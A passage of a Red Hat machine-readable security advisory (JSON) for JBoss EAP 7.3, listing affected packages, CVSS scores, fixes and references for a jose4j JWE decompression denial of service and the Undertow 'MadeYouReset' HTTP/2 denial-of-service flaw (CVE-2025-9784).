"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29371"
},
{
"category": "external",
"summary": "https://bitbucket.org/b_c/jose4j/issues/220/vuln-zip-bomb-attack",
"url": "https://bitbucket.org/b_c/jose4j/issues/220/vuln-zip-bomb-attack"
}
],
"release_date": "2025-12-17T00:00:00+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-30T00:13:50+00:00",
"details": "Before applying this update, ensure all previously released errata relevant to your system have been applied. Also, back up your existing installation, including all applications, configuration files, databases and database settings. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258",
"product_ids": [
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:33371"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "jose4j: jose4j: Denial of Service via malicious JSON Web Encryption (JWE) token compression"
},
{
"cve": "CVE-2025-9784",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"discovery_date": "2025-09-01T06:19:20.938000+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2392306"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Undertow where malformed client requests can trigger server-side stream resets without triggering abuse counters. This issue, referred to as the \"MadeYouReset\" attack, allows malicious clients to induce excessive server workload by repeatedly causing server-side stream aborts. While not a protocol bug, this highlights a common implementation weakness that can be exploited to cause a denial of service (DoS).",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "undertow: Undertow MadeYouReset HTTP/2 DDoS Vulnerability",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This vulnerability is rated with an Important severity. It is simple to exploit because it does not require authentication and could result in a Denial of Service (DoS). While some DoS flaws are classified as Moderate, \u201cMadeYouReset\u201d is Important because of the limited barriers (no specialized tooling or advanced scripting) to exploitation, which directly impacts service availability. The vulnerability arises from an implementation weakness in HTTP/2 stream reset handling \u2014 malformed client requests can trigger server-side resets without incrementing abuse counters, allowing an attacker to bypass built-in request throttling and overhead limits. Since these resets consume CPU and memory resources and can be generated at scale over a single TCP/TLS connection, a remote attacker could exhaust server capacity quickly, impacting all legitimate clients.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src"
],
"known_not_affected": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2025-9784"
},
{
"category": "external",
"summary": "RHBZ#2392306",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2392306"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2025-9784",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-9784"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-9784",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9784"
},
{
"category": "external",
"summary": "https://github.com/undertow-io/undertow/pull/1778",
"url": "https://github.com/undertow-io/undertow/pull/1778"
},
{
"category": "external",
"summary": "https://github.com/undertow-io/undertow/releases/tag/2.2.38.Final",
"url": "https://github.com/undertow-io/undertow/releases/tag/2.2.38.Final"
},
{
"category": "external",
"summary": "https://issues.redhat.com/browse/UNDERTOW-2598",
"url": "https://issues.redhat.com/browse/UNDERTOW-2598"
},
{
"category": "external",
"summary": "https://kb.cert.org/vuls/id/767506",
"url": "https://kb.cert.org/vuls/id/767506"
}
],
"release_date": "2025-09-01T06:21:54.614000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-30T00:13:50+00:00",
"details": "Before applying this update, ensure all previously released errata relevant to your system have been applied. Also, back up your existing installation, including all applications, configuration files, databases and database settings. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258",
"product_ids": [
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:33371"
},
{
"category": "workaround",
"details": "No mitigation is currently available that meets Red Hat Product Security\u2019s standards for usability, deployment, applicability, or stability.",
"product_ids": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
